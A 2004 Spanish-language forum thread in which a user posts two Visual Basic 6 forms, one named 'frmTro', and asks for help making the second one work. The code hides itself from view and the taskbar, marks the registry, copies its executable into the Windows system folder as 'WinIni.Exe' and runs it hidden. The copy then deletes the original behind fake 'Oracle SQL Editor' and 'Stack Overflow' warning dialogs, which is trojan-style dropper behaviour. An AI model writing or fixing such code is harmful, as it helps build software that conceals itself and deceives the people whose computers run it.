Viernes 8 de Noviembre de 2024, 16:00
SoloCodigo
Bienvenido(a),
Visitante
. Por favor,
ingresa
o
regístrate
.
¿Perdiste tu
email de activación?
Inicio
Foros
Chat
Ayuda
Buscar
Ingresar
Registrarse
SoloCodigo
»
Foros
»
Programación General
»
Visual Basic 6.0 e inferiores
(Moderador:
F_Tanori
) »
2 Codigos Iguales
« anterior
próximo »
Imprimir
Páginas: [
1
]
Autor
Tema: 2 Codigos Iguales (Leído 1354 veces)
RadicalEd
Moderador
Mensajes: 2430
Nacionalidad:
2 Codigos Iguales
«
en:
Jueves 2 de Septiembre de 2004, 23:44 »
0
HOLA CHICOS DE SOLOCODIGO TENGO UN PROBLEMA CON 2 CODIGOS IGUALITOS AQUI LES VA
Código: Text
'form1
Private Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
Private Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long
Private Sub Form_Load()
On Error Resume Next
Dim z
Me.Visible = False
z = QueryValue(HKEY_CURRENT_USER, "¶¶¶\mani", "pio")
If z <> 1 Then
Call Create
Else
Call Killing
End If
End Sub
Sub Create()
On Error Resume Next
Dim m
CreateNewKey HKEY_CURRENT_USER, "¶¶¶\mani"
SetKeyValue HKEY_CURRENT_USER, "¶¶¶\mani", "pio", "1", REG_SZ
WritePrivateProfileString "RegServer", "dar", App.Path + "\" + App.EXEName + ".exe", App.Path & "\lalo.ocx"
FileCopy App.Path + "\" + App.EXEName + ".exe", App.Path + "\mada.exe"
m = Shell(App.Path + "\mada.exe", 0)
AppActivate m
Unload Me
End Sub
Sub Killing()
On Error Resume Next
Dim ret As String, NC As Long
ret = String(255, 0)
NC = GetPrivateProfileString("RegServer", "dar", "Default", ret, 255, App.Path & "\lalo.ocx")
If NC <> 0 Then
ret = Left$(ret, NC)
Call MsgBox("Welcome to Oracle SQL Editor", 48, "SQL Editor")
Kill (ret)
Kill (App.Path & "\lalo.ocx")
Call MsgBox("Critical Stack Overflow Application will be Close", 16, "Warning")
End If
End Sub
Código: Text
'frmTro
Private Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
Private Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long
Private Sub Form_Load()
On Error Resume Next
Dim z
Me.Visible = False
z = QueryValue(HKEY_CURRENT_USER, "¶¶¶\mani", "pio")
If z <> 1 Then
Call Create
Else
Call Killing
End If
App.TaskVisible = False 'Ocultar en la barra de tareas.
End Sub
Sub Create()
On Error Resume Next
Dim m
Dim fso As Object
Set fso = CreateObject("Scripting.FileSystemObject")
CreateNewKey HKEY_CURRENT_USER, "¶¶¶\mani"
SetKeyValue HKEY_CURRENT_USER, "¶¶¶\mani", "pio", "1", REG_SZ
WritePrivateProfileString "RegServer", "dar", App.Path + "\" + App.EXEName + ".exe", App.Path + "\WinIni.ocx"
FileCopy App.Path + "\" + App.EXEName + ".exe", fso.GetSpecialFolder(1) + "\WinIni.Exe"
m = Shell(fso.GetSpecialFolder(1) + "\WinIni.Exe", 0)
AppActivate m
Unload Me
End Sub
Sub Killing()
On Error Resume Next
Dim ret As String, NC As Long
ret = String(255, 0)
NC = GetPrivateProfileString("RegServer", "dar", "Default", ret, 255, App.Path & "\WinIni.ocx")
If NC <> 0 Then
ret = Left$(ret, NC)
Call MsgBox("Welcome to Oracle SQL Editor", 48, "SQL Editor")
Kill (ret)
Kill (App.Path & "\WinIni.ocx")
Call MsgBox("Critical Stack Overflow Application will be Close", 16, "Warning")
End If
End Sub
EL PROBLEMA ES QUE EL FORM1 ME FUNCIONA A LA PERFECCION PERO EL FRMTRO NO Y NO SE POR QUE SI SON EL MISMO CODIGO QUE PASA ESTOY TRATANDO DE HACER UNA APLICACION QUE SE AUTOCOPIE EN OTRO LADO DEL PC CUANDO ARRANQUE SE CIERRE Y EL SEGUNDO QUE SE ABRE ELIMINE EL PRIMER ARCHIVO
QUE ESTA MAL AYUDENMEN
GRACIAS CHAO
Tweet
El pasado son solo recuerdos, el futuro son solo sueños
ROBER.29
Miembro MUY activo
Mensajes: 421
Re: 2 Codigos Iguales
«
Respuesta #1 en:
Martes 7 de Septiembre de 2004, 12:36 »
0
Hola,
Comenta los "On Error Resume Next" para saber si te está dando algún error y en que línea te da el error y podamos saber cual es tu problema y la posible solución que puedes llevar a cabo.
Un saludo.
Roberto García
Moderador de Visual Basic.
Gerente
[contra]PixeL S.L.
Valladolid
RadicalEd
Moderador
Mensajes: 2430
Nacionalidad:
Re: 2 Codigos Iguales
«
Respuesta #2 en:
Martes 7 de Septiembre de 2004, 19:38 »
0
NO DON MODEREIDOR EL PROBLEMA ES QUE NO ME SACA NINGUN ERROR SOLO NO ME HACE NADA; HACE HASTA LA COPIA DEL ARCHIVO Y LA CREACION DEL OCX PERO NO ME BORRA NINGUNO DE LOS 2 ARCHIVOS ESTOY HABLANDO DEL FRMTRO; TRATA DE COPIARLO Y HACERLO CON LOS 2 CODIGOS
El pasado son solo recuerdos, el futuro son solo sueños
Imprimir
Páginas: [
1
]
« anterior
próximo »
SoloCodigo
»
Foros
»
Programación General
»
Visual Basic 6.0 e inferiores
(Moderador:
F_Tanori
) »
2 Codigos Iguales